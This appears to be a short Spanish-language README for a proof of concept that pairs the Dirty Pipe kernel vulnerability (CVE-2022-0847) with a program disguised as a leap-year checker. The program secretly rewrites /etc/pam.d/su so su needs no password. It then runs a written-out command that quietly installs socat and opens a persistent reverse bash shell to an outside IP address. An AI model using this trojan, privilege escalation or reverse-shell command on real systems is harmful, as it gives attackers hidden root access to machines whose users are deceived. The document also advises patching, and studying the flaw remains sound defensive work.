
Usando CVE-2022-0847, "Dirty Pipe Exploit", para generar una shell inversa bash para ejecución arbitraria de código en una máquina remota.
Esta es una prueba de concepto (POC) que muestra cómo obtener un shell inverso de bash para ejecución arbitraria de código en una máquina remota utilizando CVE-2022-0847, "Dirty Pipe Exploit". Esta vulnerabilidad solo afecta a las versiones del kernel de Linux 5.8 o posteriores, pero fue parcheada en las versiones 5.16.11, 5.15.25, 5.10.102 y superiores. ¡Actualice su kernel! :)
Este exploit fue descubierto por el investigador de seguridad Max Kellermann. No entraré en los detalles de este exploit, ya que él lo hace mucho mejor que yo en su artículo aquí; https://dirtypipe.cm4all.com/
Esta prueba de concepto aparenta ser un simple programa de año bisiesto que te dirá si el año ingresado es bisiesto.
En segundo plano, cambio una línea en /etc/pam.d/s
Cambio la línea auth sufficient pam_rootok.so por auth sufficient pam_permit.so Este cambio nos permite ejecutar comandos como superusuario sin ingresar una contraseña.
Después de esto, simplemente podemos usar la función system() de C para ejecutar comandos como su.
Ejecuto
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
Esta línea instala socat en el sistema y dirige la salida a un archivo nulo para que el usuario no vea la salida de la descarga. A continuación, ejecuto un comando socat para conectarme a una máquina remota con la IP y el puerto especificados.
El & coloca este proceso en segundo plano para que después de que el usuario cierre la terminal, la conexión se mantenga.
Ejecutando el programa en una máquina vulnerable:

Conectándose a la máquina vulnerable:
